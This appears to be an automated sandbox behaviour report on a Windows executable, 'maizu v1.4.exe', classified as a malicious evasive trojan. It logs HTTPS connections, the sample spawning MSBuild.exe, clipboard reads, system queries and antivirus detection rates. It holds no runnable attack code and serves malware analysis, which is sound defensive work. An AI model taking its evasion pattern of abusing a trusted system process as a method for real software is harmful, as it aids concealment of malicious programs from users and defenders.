Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921

Source: unknown	HTTPS traffic detected: 104.21.17.192:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49715 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_004396A0 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

1_2_004396A0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_004396A0 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

1_2_004396A0

Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00BC1FE0	0_2_00BC1FE0
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00BFE060	0_2_00BFE060
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00C34290	0_2_00C34290
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00BFA2E0	0_2_00BFA2E0
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00BF6340	0_2_00BF6340
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00C2C5A0	0_2_00C2C5A0
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00BF4620	0_2_00BF4620
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00C307A0	0_2_00C307A0
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00BCC842	0_2_00BCC842
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00BF6910	0_2_00BF6910
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00C10910	0_2_00C10910
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00C1AAE2	0_2_00C1AAE2
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00C2ACC0	0_2_00C2ACC0
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00BECEE0	0_2_00BECEE0
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00BC6FEC	0_2_00BC6FEC
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00C25080	0_2_00C25080
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00BDD0ED	0_2_00BDD0ED
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00C19061	0_2_00C19061
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00BED17D	0_2_00BED17D
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00BF3280	0_2_00BF3280
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00BED2DD	0_2_00BED2DD
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00BED21A	0_2_00BED21A
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00BF1270	0_2_00BF1270
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00C25380	0_2_00C25380
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00BF130A	0_2_00BF130A
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00C19440	0_2_00C19440
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00BF7430	0_2_00BF7430
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00BD547C	0_2_00BD547C
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00BEF5C0	0_2_00BEF5C0
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00BFD770	0_2_00BFD770
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00BDB888	0_2_00BDB888
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00C23860	0_2_00C23860
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00BD39E2	0_2_00BD39E2
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00C23A90	0_2_00C23A90
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00C0BBA0	0_2_00C0BBA0
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00BF3C80	0_2_00BF3C80
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00BF5C31	0_2_00BF5C31
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00BCFC40	0_2_00BCFC40
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00C33DB0	0_2_00C33DB0
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00BC1D65	0_2_00BC1D65
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00BF7F40	0_2_00BF7F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004406C0	1_2_004406C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040C060	1_2_0040C060
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00401000	1_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00447082	1_2_00447082
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00409110	1_2_00409110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004491F0	1_2_004491F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00412180	1_2_00412180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042D181	1_2_0042D181
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004391A0	1_2_004391A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040129D	1_2_0040129D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00405340	1_2_00405340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042D181	1_2_0042D181
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004073A0	1_2_004073A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004483B0	1_2_004483B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040A460	1_2_0040A460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040E400	1_2_0040E400
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004394A0	1_2_004394A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040B550	1_2_0040B550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042D560	1_2_0042D560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004305E0	1_2_004305E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004036E0	1_2_004036E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042B69D	1_2_0042B69D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00408740	1_2_00408740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004448C0	1_2_004448C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004298E2	1_2_004298E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00411890	1_2_00411890
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042E977	1_2_0042E977
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00409903	1_2_00409903
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004489D7	1_2_004489D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00437980	1_2_00437980
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042D9A0	1_2_0042D9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042FA20	1_2_0042FA20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040AA30	1_2_0040AA30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00424A30	1_2_00424A30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042CAF0	1_2_0042CAF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00406B60	1_2_00406B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042DB64	1_2_0042DB64
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00448B00	1_2_00448B00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00409B1C	1_2_00409B1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00437BB0	1_2_00437BB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042EC02	1_2_0042EC02
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041FCC0	1_2_0041FCC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0043EDE0	1_2_0043EDE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00448DE0	1_2_00448DE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00407DA0	1_2_00407DA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00432E33	1_2_00432E33
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00448ED0	1_2_00448ED0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00447ED0	1_2_00447ED0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040FFE0	1_2_0040FFE0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 0040CB10 appears 45 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 0041D970 appears 155 times
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: String function: 00BC78D0 appears 49 times
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: String function: 00BF89F0 appears 96 times
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: String function: 00C09850 appears 155 times

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5832 -s 1656

Source: maizu v1.4.exe

Static PE information: invalid certificate

Source: maizu v1.4.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: maizu v1.4.exe

Static PE information: Section: .data ZLIB complexity 0.9910933123249299

Source: classification engine

Classification label: mal100.troj.evad.winEXE@8/13@2/2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_0043FDBB CoCreateInstance,SysAllocString,LdrInitializeThunk,LdrInitializeThunk,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,SysStringLen,

1_2_0043FDBB

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5832

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\9b71b1a7-9141-4af0-aa69-69a8d08c4108

Jump to behavior

Source: C:\Users\user\Desktop\maizu v1.4.exe	Command line argument: MZx	0_2_00BC1FE0
Source: C:\Users\user\Desktop\maizu v1.4.exe	Command line argument: MZx	0_2_00BC1FE0
Source: C:\Users\user\Desktop\maizu v1.4.exe	Command line argument: MZx	0_2_00BC1FE0

Source: maizu v1.4.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\maizu v1.4.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: maizu v1.4.exe	ReversingLabs: Detection: 66%
Source: maizu v1.4.exe	Virustotal: Detection: 44%

Source: unknown	Process created: C:\Users\user\Desktop\maizu v1.4.exe "C:\Users\user\Desktop\maizu v1.4.exe"
Source: C:\Users\user\Desktop\maizu v1.4.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5832 -s 1656
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5832 -s 1636
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5832 -s 1644
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5832 -s 1572
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5832 -s 1592
Source: C:\Users\user\Desktop\maizu v1.4.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior

Source: C:\Users\user\Desktop\maizu v1.4.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\maizu v1.4.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mskeyprotect.dll	Jump to behavior
